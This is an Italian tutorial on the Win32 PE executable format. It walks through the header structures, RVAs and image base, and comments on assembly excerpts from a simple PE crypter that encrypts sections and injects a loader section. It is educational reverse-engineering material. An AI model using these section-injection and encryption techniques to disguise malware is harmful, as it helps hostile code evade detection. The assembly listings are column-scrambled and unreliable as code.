--==[ DIFFICOLTA' ]==--------------------------------------------------------scala : *=Novizio, **=Apprendista, ***=Esperto, ****=Guru
target: ***
--==[ TOOLS USATI ]==--------------------------------------------------------*
*
*
*
TASM
PROCDUMP 1.3
PE Browse
HIEW 6.01
--==[ LETTERATURA ]==--------------------------------------------------------"Peering Inside the PE: A Tour of the Win32 Portable Executable File Format"
(M. Pietrek), Microsoft Systems Journal 3/1994
"Windows 95 Programming Secrets" (M. Pietrek), IDG BOOKS, 1995
"Why to Use _declspec(dllimport) & _declspec(dllexport) In Code",
MS KB Q132044
"Writing Multiple-Language Resources", MS Knowledge Base Q89866
"The Portable Executable File Format from Top to Bottom" (Randy Kath), MSDN
"The PE file format" (B. Luevelsmeyer), reperibile sulla rete
--==[ INTRODUZIONE ]==-------------------------------------------------------Salve gente :)
Quello che vi presento questa volta e' il primo di una serie di tre tutorial
sul formato PE e soprattutto sull'utilizzo/abuso che ne fanno i vari
PE-Crypters/Packers/Wrappers.
Come avete sicuramente notato negli ultimi tempi c'e' stata un'esplosione di
crypters e packers freeware/share/commerciali e sopratutto un loro massiccio
impiego come parte della protezione di un programma: questo si spiega con il
fatto che il formato PE e' oramai piu' o meno conosciuto e che soprattutto e'
noto come il loader di win95/Nt crea un processo a partire dall'immagine su
disco (qui dobbiamo ringraziare i vari Pietrek,Shulman,ecc. per aver aperto il
vaso di Pandora;)
Nel primo (quello che state leggendo :)) trattero' del formato PE in generale
e cerchero' di commentare i sorgenti di un semplice pe-crypter da me scritto
per l'occasione. Nel secondo parleremo di unpacking "a mano" o assistito :)
(Procdump,SoftDump,ecc.), ed infine nel terzo se tutto filera' liscio vedremo
come realizzare un decrypter e alcune tecninche anti-dumping.
Una premessa: nell'analizzare questo formato non mi dilungero' su quali siano
le origini di questo formato o su il significato di tutte le strutture e/o
campi che lo compongono:
in primo luogo perche' potete trovare dettagliate informazioni nei testi
riportati nella "letteratua", in secondo luogo perche' molte di queste
strutture/campi o non sono coerenti fra i vari linker o sono obsolete, o
semplicemente non sono fondamentali per i nostri scopi (ricordate che parliamo
di pe-crypters).
--==[ IL FORMATO PORTABLE EXECUTABLE ]==-------------------------------------Per una visione di insieme del formato PE dobbiamo far ricorso alla fonte
princiapale di documentazione (l'unica prima dei testi di Pietrek e Kath):
winnt.h
Questo ominipresente file header (fornito con tutti gli SDK,DDK di M$)
contiene la definizione delle principali strutture e costanti che interessano
il formato PE, quindi per qualsiasi cosa dovremmo fare riferimento a questo
file. La principale caratteristica di questo formato e' la relativa facilita'
con cui il loader puo' reperire le informazioni con cui "creare" un nuovo
processo, che si traduce poi in una maggior velocita' di caricamento/esecuzione
di una applicazione/modulo, e chi ha presente il formato NE sa cosa voglio
dire!
Il layout di un exe PE e' tendenzialmente (si esatto proprio "tendenzialmen_
te") questo:
+===================+
| DOS (MZ) Header
|
+-------------------+
| DOS Stub
|
+===================+
| NT (PE) Header
|
|- - - - - - - - - -|
| file-header
|
|- - - - - - - - - -|
| optional header
|
|- - - - - - - - - -|
| data directories |
|
|
+===================+
| section headers
|
|
array
|
~-------------------~
|......padding......|
~-------------------~
|
|
| dati section2
|
|
|
+-------------------+
|
|
| dati section2
|
|
|
+-------------------+
| ..............
|
+-------------------+
|
|
| dati section n
|
|
|
+-------------------+
+00 -> dos header.[3C] ---+
|
+40
|
|
+00 -> inizio PE header <-+
+04
+1A
+78
<- PE header + FileHeader.SizeOfOptionalHeader +
sizeOf(FileHeader)
Come vedete la prima struttura che incontriamo e' il DosHeader (buon vecchio
dos ;)):
IMAGE_DOS_HEADER STRUC
e_magic
......
e_lfanew
IMAGE_DOS_HEADER ENDS
DW
?
;+00
; Magic number
DD
?
;+3C
; Address of PE header
Di questa struttura cio' che maggiormente ci interessa sono
e_magic : questa DW contiene la signature che identifica un file eseguibile
DOS valido ed e' definita come : 0x05A4 che corrisponde alla stringa
MZ (no dai!?? ;))
e_lfanew: questa DD invece e' invece la chiave di accesso alla nuovo header PE.
Si tratta di un RVA (ne parliamo dopo degli RVA) che punta al
l'inizio della struttura NT Headers. Di conseguenza se volete ad
exp. ottenere l'offset del PE Header relativo all'inizio di file
mappato in memoria dovrete prima leggere questo valore e quindi
sommarlo alla base del vista del Memory Mapped File (da ora MMF per
gli amici ;)
La presenza del campo e_lfanew si spiega con il fatto che di seguito al Dos
Header possiamo trovare uno stub ms-dos: questo altro non e' che quel
mini-programma ci avverte cordialmente :)) che l'eseguibile e' destinato
all'ambiente Win32,OS/2, ecc.. Dato che questo stub e' _opzionale_ si e' reso
necessario fornire un pratico sistema al loader per evitare di impaltanarsi
nel caso lo stub non fosse linkato o di dimensioni diverse.
Ora guardiamo piu' in dettaglio la struttura IMAGE_NT_HEADERS:
31
0 31
0
+-------------------------------------------------------+ <--+
|
SIGNATURE
|
MACHINE
| # SECTIONS |
|
+---------------------------+-------------+-------------+
| Signature +
|
TIME/DATE STAMP
| POINTER TO SYMBOL TABLE |
| FileHeader
+---------------------------+-------------+-------------+
|
|
NUMBER OF SYMBOL
| NT HDR SIZE| IMAGE FLAGS | <--+
+=============+======+======+=============+=============+ <--+
|
MAGIC
|LMAJOR|LMINOR|
SIZE OF CODE
|
|
+-------------+------+------+---------------------------+
|
| SIZE OF INITIALIZED DATA | SIZE OF UNINITIALIZED DATA|
|
+---------------------------+---------------------------+
|
|
ENTRYPOINT RVA
|
BASE OF CODE
|
|
+---------------------------+---------------------------+
|
|
BASE OF DATA
|
IMAGE BASE
|
|
+---------------------------+---------------------------+
|
|
SECTION ALIGNMENT
|
FILE ALIGNMENT
|
|
+-------------+-------------+-------------+-------------+
| Optional
Header
| OS MAJOR
| OS MINOR
| USER MAJOR | USER MINOR |
|
+-------------+-------------+-------------+-------------+
|
| SUBSYS MAJOR| SUBSYS MINOR|
WIN32 VERSION
|
|
+-------------+-------------+---------------------------+
|
|
IMAGE SIZE
|
HEADER SIZE
|
|
+---------------------------+-------------+-------------+
|
|
FILE CHECKSUM
| SUBSYSTEM | DLL FLAGS |
|
+---------------------------+-------------+-------------+
|
|
STACK RESERVE SIZE
|
STACK COMMIT SIZE
|
|
+---------------------------+---------------------------+
|
|
HEAP RESERVE SIZE
|
HEAP COMMIT SIZE
|
|
+---------------------------+---------------------------+
|
|
LOADER FLAGS
| # INTERESTING RVA/SIZES |
|
+===========================+===========================+
| <-+
|
EXPORT TABLE RVA
|
TOTAL EXPORT DATA SIZE |
|
|
+---------------------------+---------------------------+
|
|
|
IMPORT TABLE RVA
|
TOTAL IMPORT DATA SIZE |
|
|
+---------------------------+---------------------------+
|
|
| RESOURCE TABLE RVA
| TOTAL RESOURCE DATA SIZE |
|
|
+---------------------------+---------------------------+
|
|
| EXCEPTION TABLE RVA
| TOTAL EXCEPTION DATA SIZE |
|
|
+---------------------------+---------------------------+
|
|
| SECURITY TABLE RVA
| TOTAL SECURITY DATA SIZE |
|
| Data
+---------------------------+---------------------------+
|
|
Directory
|
FIXUP TABLE RVA
|
TOTAL FIXUP DATA SIZE
|
|
|
+---------------------------+---------------------------+
|
|
|
DEBUG TABLE RVA
| TOTAL DEBUG DIRECTORIES |
|
|
+---------------------------+---------------------------+
|
|
| IMAGE DESCRIPTION RVA
| TOTAL DESCRIPTION SIZE
|
|
|
+---------------------------+---------------------------+
|
|
|
MACHINE SPECIFIC RVA
|
MACHINE SPECIFIC SIZE
|
|
|
+---------------------------+---------------------------+
|
|
| THREAD LOCAL STORAGE RVA |
TOTAL TLS SIZE
|
|
|
+---------------------------+---------------------------+
|
|
| LOADER CONFIGURATION RVA |
LOADER DATA SIZE
|
|
|
+---------------------------+---------------------------+
|
|
|
BOUNDED IMPORTS TABLE
| BOUNDED IMPORTS DATA SIZE |
|
|
+---------------------------+---------------------------+
|
|
| IMPORT ADDRESSES TABLE
|
TOTAL IAT SIZE
|
|
|
+---------------------------+---------------------------+ <--+ <-+
come vedete e' l'unione di due strutture , l'IMAGE_FILE_HEADER e
IMAGE_OPTIONAL_HEADER, piu' una DWORD, la c.d. signature: questo ci porta ad
una prima considerazione ovvero che gli headers del PE sono _CONSECUTIVI_ in
memoria (o su disco) e quindi i campi possono essere letti con semplicita'
come offsets relativi all'inizio degli NT headers.
Ora analizziamo i campi piu' importatanti (per questioni di spazio non riporto
la dichiarazione degli headers, plz fate riferimento al file imghdr.inc)
* Signature : questo signature ha la funzione di identificare il tipo di
eseguibile e il S.O. (o sottosistema per NT) a cui e' destinato
l'eseguibile; ad esempio :
IMAGE_OS2_SIGNATURE
0x0454E
= NE
= new executable = os/2 o win3x
IMAGE_NT_SIGNATURE
0x000004550 = PE00 = win9x / winNT
#IMAGE_FILE_HEADER#
* Machine: indica il processore target (ricordate che NT e' multiplatform)
* TimeDateStamp: time stamp usata per identificare la versione del modulo (ad
esempio nel meccanismo di import binding), ma spesso inconsistente.
Non fidatevi!
* NumberOfSections: indica il numero di sezioni presenti, nonche' il numero di
entries nel section headers table. In teoria dovrebbe essere
consistente con il numero di sezioni presenti ma non fidatevi visto
che il loader non pare curarsene.
* ImgFlags: indica il tipo di immagine (ad esempio eseguibile,dll) ed alcune
caratteristiche che la riguardano e che sono derivate dalle
opzioni di compilazione/linking (ad esempio se sono presenti le
informazioni di debug,numeri di linea,ecc. se e' stata impostata
una imagebase fixed,ecc.
*SizeOfOptionalHeaders: indica la size degli optional headers (normamente
0xE0). La presenza di questo campo e' la conseguenza della natura
estensibile del formato PE.
#IMAGE_OPTIONAL_HEADER#
Questa struttura e' diciamo la piu' importante, in quanto raccoglie molte
delle informazioni vitali che verranno utilizzate dal loader per recuperare i
dati dalle sezioni e quindi creare il process in memoria. Anche in questo caso
analizzeremo le piu' importanti in quanto come vi ho gia' anticipato gli altri
campi non appaiono essere consistenti da linker a linker o tra versioni
diverse di questi, o addirittura ignorati (rientrano in questa categoria anche
i vari SizeOfCode,SizeOfInitializedData,SizeOfUnitializedData):
* AddressOfEntryPoint: questo campo contine l'RVA dell'entrypoint del modulo,
cioe' il punto in cui il loader trasferira' l'esecuzione una volta
terminata la fase di caricamento/ inizializzaione: inevitabilmente
punta all'interno di una sezione che possiede i flag
readable/executable (solitamente .text, CODE)
* BaseOfCode: indica l'RVA della prima sezione di codice (.text, CODE) ed
utilizzata presumibilmene dal loader nella fase di mapping per
settare gli attributi di pagina
* BaseOfData: idem come sopra ma per la prima sezione dati
* ImageBase: questo campo e' di vitale importanza in quanto riporta la
cosidetta "preferred imagebase" ovvero l'indirizzo lineare nello
spazio di indirizzamento privato utilizzato dal linker per
risolvere gran parte dei fixup nonche' la base a cui si riferiscono
tutti gli RVA: questo significa che se il loader di windowz deve
mappare l'immagine ad un indirizzo diverso sara' necessario
applicare le base relocations (parlero piu' in dettaglio delle
implicazini della imagebase nella sezione RVA e base rilocations).
* SectionAlignment: quando il loader di window mappa in memoria il file
immagine utilizza i MMF in modo che occupi uno blocco consecutivo
di memoria nello spazio di indirizzamento.Tuttavia per questioni
di ottimizzazione nella gestione della memoria virtuale (ad exp.
nello share di porzioni di codice, nel caricamento di pagine non
presenti,ecc.) in w9x ogni sezione deve essere allineata ad un
multiplo della unita' minima gestita dal VMM : 1 pagina x86 = 4096
= 1000h (attenzione a non confonderla con la granularita' di
allocazione che e' di 64k). Questa limitazione non si applica a NT
(il minimo e' 32byte) ma non credo che vogliate degli eseguibili
"incompatibili".
* FileAlignment: questo campo e' un antico retaggio di quando windowz95
utilizzava il filesystem FAT, e per ottimizzare i caricamenti si
era pensato di allineare i dati delle sezioni su disco ad un
multiplo della grandezza di un settore (200h = 512 b).
Nel caso sia necessario i linkers zero-paddano (azz che espessione
:) lo spazio non utilizzato.
* SizeOfImage: ecco un esempio di come i membri della famiglia Win32 non
comunichino molto!:) questo campo riporta la grandezza del
l'immagine una volta in memoria e quindi lo spazio totale che il
loader deve riservare per il suo caricamento. E' costituita dalla
somma dell'header + le VirtualSize delle sezioni presenti ed
arrotondata al multiplo piu' vicino della SectionAlignment.
Quest'ultimo fatto e' stato fonte di problemi per molti coders che
avevano testato le loro creature solo con win95 dato che questo
ignora l'allineamento continuando pacificamente mentre NT si
inkazza non poko se non trova un valore consistente.
Mi raccomando non fate inkazzare NT ;)
* SizeOfHeaders: il valore qui riportato altro non e' che la somma delle
imensioni dei vari headers che precedono i dati delle sections
(DosHeader+Stub+NtHeaders,SectionHeaders):
in sostanza e' una sorta di puntatore ai rawdata dato che
ImageBase+SizeOfHeaders vi porta direttamente all'inizio della
prima sezione, sia che stiate lavorando con l'immagine di un
processo in memoria,o su disco/MMF.
* CheckSum: altro esempio di differente comportamento fra 9x/Nt: questo valore
rappresenta un checksum dell'immagine del file PE, concepita per
evitare che il loader carichi un eseguibile corrotto e/o
inconsistente, solo che questa verifica e' effettivamente compiuta
solo dal loader di NT e esclusivamente per file di sistema. Win9x
ignora totalmente questo campo tant'e' che i linker normalmente
lasciano a 0 questo campo. Nel caso vogliate modificare un PE che
sapete essere di utilizzato da Nt a livello di sistema (ad exp. un
service, una dll, ecc.) e' auspicabile che aggorniate correttamente
il campo. L'algoritmo di calcolo e' ofcoz propietario M$ ma cmq e'
possibile utilizzare la funzione CheckSumMappedFile esportata dalla
ImgHlp.dll ormai molto in voga sui sistemi M$;)
* NumberOfRvaAndSizes: questo campo indica la dimensione dell'array di
strutture IMAGE_DATA_DIRECTORY che inizia dal campo DataDirectory.
Attualmente e' fissato a 16 elementi ma non necessariamente per
sempre ;)
* DataDirectory: questo pseudocampo in realta e' un array di strutture che
rappresentano per il loader una sorta di shortcut per accedere
velocemente alle informazioni piu' sensibili per la
creazione/inizializzazione del processo: ogni entry (indici da
0..15) riporta l'RVA e la VirtualSize di specifiche
informazioni/strutture:
le piu' importati sono:
0 : funzioni esportate dal modulo (ET)
1 : funzioni importate ma non bounded (IT)
2 : inizio della resource directory (resROOT)
5 : base relocations
9 : blocco thread local storage (TLS)
11: funzioni importate bound (BIT)
12: import addresse table (IAT)
Una cosa importante da dire e' che il loader fa sempre riferimento
a questa tabella per accedere ai dati del processo e non alla
tabella dei section headers.
Se volete ad exp. reperire le informazioni su dove reperire le
risorse (ad exp. per evitare di criptarle) non utilizzate i nomi
delle section tipo .rsrc visto che questi sono _puramente_
convenzionali: nessuno ci garantisce cosa ci sia dentro o che
qualcuno li abbia rinominati (molti crypters lo fanno). Detto
questo va da se che i dati qui presenti devono essere ASSOLUTAMENTE
coerenti o il programma si piantera'inesorabilmente.
Di seguito al OptionalHeader inzia l'array di strutture IMAGE_SECTION_HEADER
noto come sections table: ogni elemento di questo array descrive i dati
essenziali di una sezione presente nel file di cui come al solito analizziamo
i piu' importanti:
* SName: stringa di 8 byte con il nome della sezione (attenzione che non e'
null termined)
* SVirtualSize: convenzionalmente contiene la dimensione fisica (vedi
SizeOfRawData) dei dati arrotondata ad un multiplo del section
aligment. Questo campo in pratica dovrebbe dire al loader quanto
spazio riservare in memoria per questa sezione. Notate che ho usato
il condizionale perche' il loader sembra perfettamente ignorare
questo campo in presenza di una rawsize "valida" ed effetuare da se
i calcoli per una VSize corretta. Questo probabilmente spiega anche
il fatto che la ImageSize venga ignorata da w9x. Cmq e' anche
perfettamente lecito avere una rawsize = 0 e una VSize=0x1000,
tant'e' che i packer sfruttano proprio questa caratteristica
cambiando la rawsize ma lasciando inalterata la VSize (a dir il
vero la VSize puo' anche sovrapporsi alla sezione successiva dato
che e' cmq uno spazio solo "riservato" e non necessariamente
utilizzato) purche' ovviamente non ci sia vera sovrascrizione :)
Morale: il loader di win32 e' meno fesso del previsto, e scieglie
con oculatezza (in pratica e' probabile faccia max(VSize,RawSize)
quali informazioni siano piu' coerenti o se le calcola da se.
Prendete esempio :))
* SVirtualAddress: tada'ecco un altro RVA :) .. questo permette di calcolare
la posizione che avra' la sezione una volta caricata in memoria
dal loader. Come ormai avrete capito deve essere maggiore, o un
multiplo, del section alignment (che lo ricordiano non puo' essere
minore di 0x1000 per compatibilita' con 9x)
* SizeOfRawData: la dimensione fisicamente occupata dai dati su disco
solitamente allineata al file alignment. Questo campo puo' essere
totalmente indipendente dalla VSize ad exp. spesso incontrerete
sezioni con rawsize = 0 ma che occupano spazio in memoria
(tipicamente sezioni con dati non inizializzati (BSS, TLS, ecc.),
ma cmq e'importante capire che almeno uno dei due valori dovra'
contenere l'informazione dello spazio da minimo da riservare in
memoria. Tenete conto di questa anomalia quando calcolate la
ImageSize.
* PointerToRawData: l'offset "fisico" a cui troverete i dati della sezione
* SFlags: i flag che identificano le caratterestiche (codice,dati,ecc.) e
quindi le i flags e le protezioni di pagina che verranno applicate
(writable,readable,ecc.)
Bene abbiamo analizzato gli headers che precedono i dati veri e propri delle
sezioni..resta solo da notare che in effetti tra la fine dell'ultimo section
header e l'inizio dei dati spesso si trova una "cavita'" ovvero un blocco non
utilizzato ma presente per questioni di allineamento. Queste cavita' presenti
anche tra le sezioni possono essere sfruttate per salvare codice e/o dati a
patto che siano abbastanza grandi (i virus sono un classico esempio di
utilizzatori di queste cavita'). Fra tutte queste cavita' quella che piu' ci
interessa (miii che squallidi doppi sensi ;)) e' proprio quella fra la
sections table e l'inizio della prima sezione, in quanto e' li che possiamo
introdurre una nuova sezione seplicemente incrementando il campo FileHeader.
NumberOfSection e accodando una struttura IMAGE_SECTION_HEADER all'array..
ovviamente questo discorso e' valido se c'e' abbastanza spazio (attenzione
che per spazio va inteso quella tra la fine degli NTHeaders e l'RVA della
prima sezione e non solo lo spazio "fisico", che normalmente e' minore per via
che di solito file alignment < section alignment) alrimenti dobbiamo
"necessariamente" appendere il nostro codice/dati nell'ultima sezione del file
(oddio non e'proprio necessario che sia l'ultima, potremmo sciegliere una
sezione qualsiasi, ma sicuramente e' molto piu' semplice che alterare gli RVA
di tutte quelle sucessive).
Ok, ora dovremmo trattare le strutture collegate alla IT,(la ET la trattero'
nel terzo tutorial), rilocazione e alle risorse ma credo che sia meglio che
le vediate all'opera quando commentero' il codice del crypter. Prima di
tuffarci nel codice sara' pero' il caso che parliamo dei concetti di ImageBase
e RVA che come avrete constatato permeano tutta la struttura del PE.
#ImageBase e Relative Virtual Address#
L'image base e' sostanzialmente l'indirizzo lineare a cui il loader mappera'
l'immagine dell'eseguibile quando crea un nuovo processo, o carica un modulo
(DLL). Questo indirizzo, riportato nel campo OptionalHeader.ImageBase, e'
_specifico_ per ogni eseguibile ed e' essenzialmente l'indirizzo utilizzato
(o specificato da noi) dal linker per risolvere i fixup. Tuttavia non sempre
il loader puo' caricare l'immagine alla ImageBase specificata (detta appunto
"preferred"): questa eventualita' (chiamata "collisione"), e' sostanzialmente
impossibile per gli eseguibili (ovviamente se consideriamo il fatto che ogni
processo win32 ha un suo spazio di indirizzamento "assolutamnete" privato..
per gli exe vedrete infatti sempre specificata come imagebase 0x400000) ma e'
altamente probabile per una DLL che invece puo' essere caricata nello arena
condivisa ( > 2gb e < 3gb in 9x; Nt non ha spazi r3 shared) o cmq in un'area
gia' impegnata da una precedente allocazione di memoria. Se si verifica una
collisione il loader per permettere all'esegubile di funzioanare sara'
costretto ad applicare la c.d. base relocation, a patchare cioe' tutti qui
riferimenti assoluti che il programma utilizza in modo che siano di nuovo
coerenti. Considerati questi problemi si e' pensato di "virtualizzare" gli
indirizzi assoluti almeno delle strutture utilizzate dal loader rendendo cosi'
possibile referenziare le informazioni salvate dal linker a prescindere dalla
imagebase: ecco quindi nascere l'idea dell'RVA, che e' appunto un scostamento
relativo alla imagebase: quindi se volete leggere il valore di una DWORD che
sta ad un RVA = 1234 basta che gli sommiate l'imagebase ed otterrete il suo
Virtual Address (VA) cioe' l'indirizzo nello spazio di indirizzamento del
processo:
VA
= RVA
+ ImageBase
0x401234 = 0x1234 + 0x400000
Ovviamente questo ragionamento e' valido se l'eseguibile e' stato mappato
dal loader, perche' come sappiamo questo terra' conto del section alignment...
ma se volessimo ottenere un offset "fisico" (su disco,MMF) dato un VA ?
in questo caso dovremmo utilizzare le informazioni relative alla sezione che
contiene quell'indirizzo (ovviamente dobbiamo trovarla cercando nella section
table verificando che SVirtualAddress <= VA <= SVirtualAddress + SVirtualSize),
relativizzare l'indirizzo rispetto all'inizio di quella sezione sottraendo
l'imagebase e VA della sezione, ottenendo cosi' un offset che andremo a
sommare all'offset fisico della sezione stessa:
RAW OFS = (VA
- ImageBase - SVirtualAddress) + PointerToRawData
0x834
= (0x401234 - 0x400000 - 0x1000
) + 0x600
Bene questo e' tutto per i concetti di base: ora passiamo al codice vero e
proprio.
--==[ UN ESEMPIO PRATICO
]==------------------------------------------------------------------I sorgenti che vi presento sono un esempio di semplice scheletro di crypter
che supporta sia l'append che l'inserimento di una nuova sezione. Il crypter
e' capace di gestire sia sezi oni codice, dati (esclusa .rdata), relocations
info,import table, e risorse. Quello che ancora non fa e' gestire tutta la
casistica presente nei formati PE diciamo "non convenzionali" (come al solito
mamma M$ in testa!) , e cioe' forwarding , pre-binding old-style e new-style,
deferred dll, o la gestione del TLS. Altra mancanza di rilievo (voluta visto
che l'ho fatto in poko tempo e che sono sorgenti didattici.. ehhe non posso
mika svelarvi tutto del crypter che sto facendo :)) e l'assenza di forme di
anti-dump, anti-debug o anti-disasm. Ad ogni buon conto e' sufficientemente
completo per iniziare a capire il funzionamento del PE. Ovviamente non vi
riporto qui tutti i sorgenti (fate riferimento a pesentry.asm) ma solo alcuni
passaggi diciamo piu' cruciali ed alcune scelte d'implementazione.
open_file:
mov
call
cmp
jz
[lpszFileName],edi
OpenFileEx
eax, INVALID_HANDLE_VALUE
@@file_error
; open file with attribes ovveride
prima considerazione : la funzione OpenFileEx apre il file assicurandosi pero'
di salvare gli attributi del file nonche' data,ora di creazione,ecc.. mi
sembra un modo + pulito di operare :)
add
eax,loader_len+(2000h)
; loader size + typical file align * 2
call
or
jz
CreateFileMapping,[hFile],NULL,PAGE_READWRITE,0,eax,NULL
eax,eax
@@unable_to_map
mov
[hFileMap],eax
call
or
jz
MapViewOfFile,eax,FILE_MAP_WRITE,0,0,0
eax,eax
@@unable_to_map
mov
mov
[Image_Base],eax
edi,eax
; map entire file
come vedete ho scelto di utilizzare i MMF per manipolare l'eseguibile, la
ragione e' che in questo modo posso gestire gli offset direttamente come
scostamenti in memoria essendo sicuro di avere il file mappato in modo lineare.
Questo metodo di procedere e' in sostanza lo stesso che utilizza il loader..
va notato pero' che i MMF hanno una loro piccola pecca, non possono essere
ridimensionati una volta creati.. cio' ci costringe a prevedere un blocco
abbastanza grande da contenere anche il nostro loader: sara' sufficente che
sommiamo alla dimensione del file la size del codice/dati nostro loader + 2
pagine. Se prevedete di realizzare un packer o cmq di manipolare pesantemente
il PE , vi consiglio (vero xOA ? :) di usare buffers allocati con
VirtualAlloc che sono modificabili senza denneggiare i dati gia' caricati
(VirtualReAlloc).
Il puntatore ottenuto dalla MapViewOfFile costituisce ora la nostra ImageBase.
Una piccola nota: come vedete i commenti nei sorgenti sono in inglese.. ehhe
ragazzi sorry ma sono abituato cosi'.. l'inglese e' piu' conciso per certe
cose :)
call
or
jnz
GetNtHeader
eax,eax
@@invalid_pe
mov
[lpPEHeader],edi
; on exit EDI = lpPEHeader
questa call esegue un check per verificare che effetivamente abbiamo a che
fare con un file pe eseguibile e nel caso affermativo torna il ptr al
NTHeaders:
GetNtHeader:
push
mov
push
push
push
mov
cmp
jnz
mov
add
cmp
jb
mov
not
or
jz
or
jz
@@is_PE:xor
jmp
@@on_PE_except:
mov
mov
@@not_PE:
stc
sbb
ebp
ebp,esp
ebp
; save safe ESP
offset @@on_PE_except
; our simple handler
dword ptr fs:[0]
; save previous frame
fs:[0],esp
; establish our SEH frame
word ptr [edi],IMAGE_DOS_SIGNATURE
; check MZ signature
short @@not_PE
eax,[edi.e_lfanew]
edi,eax
dword ptr [edi],IMAGE_NT_SIGNATURE
; check PE signature
short @@not_PE
eax,dword ptr [edi.FileHeader.ImgFlags]
al
al,IMAGE_FILE_EXECUTABLE_IMAGE
; check for executable flag
short @@is_PE
ax,IMAGE_FILE_DLL
short @@not_PE
eax,eax
short @@valid_pe
eax,[esp+8]
ebp,[eax+8]
eax,eax
; get ERR structure
; ERR + 8 = safe ESP
@@valid_pe:
pop
mov
pop
ret
dword ptr fs:[0]
esp,ebp
ebp
; remove SEH frame
come vedete verifico le due signature e la presenza dei flag caratteristici
degli eseguibili.. l'unica cosa degna di nota oltre a questo e' la presenza
di un exception frame.. un modo decisamente piu' rapito che una serie di call
a IsBadxxxxxPtr,ecc. per verificare i puntatori. da qui in poi EDI sara' il
puntatore agli NTHeaders
header
movzx
eax, [edi.FileHeader.SizeOfOptionalHeader] ; size of optional
lea
mov
eax,[edi+eax+18h]
[lpSectionTable],eax
qui otteniamo il puntatore all'inizio della Section table, che ci servira' per
leggere le info di ogni section e per aggiungere il nostro loader creando una
sezione nuova o espandendo l'ultima
mov
eax,[edi.OptionalHeader.ImageBase]
mov
eax,400000h
mov
[preferred_base],eax
mov
eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).VirtualAddress]
mov
[it_rva],eax
mov
eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_EXPORT).VirtualAddress]
mov
[et_rva],eax
mov
eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).VirtualAddress]
mov
[reloc_rva],eax
mov
eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_TLS).VirtualAddress]
mov
[tls_rva],eax
mov
eax,[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RESOURCE).VirtualAddress]
mov
[rsrc_rva],eax
qui salviamo in variabili statiche allocate nel loader gli RVA delle principali
directories che poi ci serviranno sia per modificare gli RVA in modo che
puntino alle nostre stutture sia al loader per riaggiuistare le cose a
runtime. (nota il mov 0x400000 e' li' nel caso vogliate sperimentare con la
rilocazione.. in questo caso dovrete cambiare l'imagebase del file da procdump
in modo da forzare il load ad un altro linear address.
Fatto questo si passa a cryptare le varie sezioni:
encrypt_objects:
movzx
edx,[edi.FileHeader.NumberOfSections] ; number of section as
counter
xor
ebx,ebx
@@next_obj:
call
or
jz
mov
jmp
IsEncryptableObj
; check if section is encryptable
eax,eax
short @@proceed
dword ptr [crypt_flag],20202020h
; display status = skipped
short @@no_encrypt
come counter per il loop utilizziamo il numero di sezioni riportate nel
l'optional header: questo potrebbe essere una potenziale fonte di problemi
visto che come ho detto il loader non si fila molto questo valore. per cui in
un file potrebbe essere maliziosamente (si' perche' non vedo quale cacchio di
linker si metterebbe a giocare con questo campo!??) incoerente. So far so
good.. continuiamo.. la call IsEncryptableObj verifica che la sezione che
stiamo per elaborare sia effetivamente criptabile: ad exp. la sezione .rdata
e' una una di quelle che ci conviene evitare visto che e' spesso utilizzata
da M$ (mortacci a loro!) per inserirci la export, la TLS,ecc. altra sezione
da cui star lontano e' .edata che dovrebbe contenere esplicitamente la export
table.. come criterio di verifica ho adottato un check "euristico" basato
sugli rva presenti nella DataDirectory, sulle rawsize delle sezioni, tranne
che per .rdata che e' verificata in base al nome :(
Ora qui si pone un interessante problema: ma se ad exp. la export table fosse
contenuta nella sezione .text (altra porkeria assolutamente possibile ma
abbastanza remota per fortuna) il crypter skipperebbe tutta la sezione..
risposta positiva !.. per ovviare al problema bisogna identificare dove
risiedono i blocchi non cryptabili in termini di RVA e quindi costruirsi una
mappa di quello che si deve effettivamente cryptare (puo' bastare un array
RVA + SIZE) che poi verra' usata sia dalla routine di encryption che dal
loader. Ovviamente in questo sorgente non e' implementato questo meccanismo
(te pareva ;)) perche' avrebbe complicato il codice che e' gia lungo di per
se'..
@@proceed:
mov
mov
table
mov
mov
eax,[esi.SVirtualAddress]
[section_array.section_rva+ebx*8], eax
; save rva to loader
ecx,[esi.SizeOfRawData]
[section_array.section_vsize+ebx*8], ecx
; save raw size
ok.. se siamo qui vuol dire che la sezione e' criptabile.. salviamo gli RVA e
le dimensioni delle sezioni cryptate in una tabella in modo che il loader
sappia cosa abbiamo criptato... quindi usiamo SizeOfRawData come grandezza
del blocco da crittare
pusha
; save lpPEHeader
mov
edi,[esi.PointerToRawData]
; calc pointer to
raw data
add
edi,[Image_Base]
cmp
eax,[rsrc_rva]
jz
short @@handle_res
call
Encrypt
jmp
short @@dummy_e
@@handle_res:
mov
eax,offset ResEncryptCallBack
call
EnumResources
@@dummy_e:
popa
counter
inc
inc
ebx
byte ptr [sections_num]
; update loader table index
; update loader section
mov
dword ptr [crypt_flag],53455920h
; display status = processed
ok.. questo codice mi pare autoesplicativo.. innanzitutto calcola il ptr ai
dati in memoria quindi verifica che quella che stiamo elaborando non sia la
sezione delle risorse.. in caso affermativo switcha alla routine di
attraversamento dell'albero delle risorse (la spieghero' piu' avanti..) quindi
incrementa il contatore delle sezioni effetivamente criptate che poi il loader
usera'a runtime..
@@no_encrypt:
call
or
add
dec
jnz
ret
show_stats
[esi.SFlags],IMAGE_SCN_MEM_WRITE
esi,IMAGE_SECTION_HEADER_
edx
short @@next_obj
; display some stats
; enable write bit always
; next section in table
questa parte invece merita qualche commento perche' immagino qualcuno si stia
domandando perche' setto il flag writable per tutte le sezioni e non solo per
quelle criptate.. la ragione e' semplice: la base rilocation! gia'.. sicomme
saremo noi a gestirla al posto del loader dobbiamo assicurarci che ogni
sezione sia scrivibile alrimenti a runtime dovremmo usare WriteProcessMemory
per superare le protezioni di pagina ed applicare i fixup.. per inciso questo
e' uno dei classici indicatori per sapere se un file e' cryptato con un
crypter che gestiste anche la .reloc
movzx
eax,[edi.FileHeader.NumberOfSections]
inc
eax
mov
ecx,IMAGE_SECTION_HEADER_
sizeOf(section_header)
; number of sections
; +1
; *
mul
add
mov
mov
add
cmp
jg
ecx
eax,[lpSectionTable]
esi,eax
edx,edi
edx,[edi.OptionalHeader.SizeOfHeaders]
eax,edx
@@append_to_last
;
; offset of object table
; + lpPEHeader
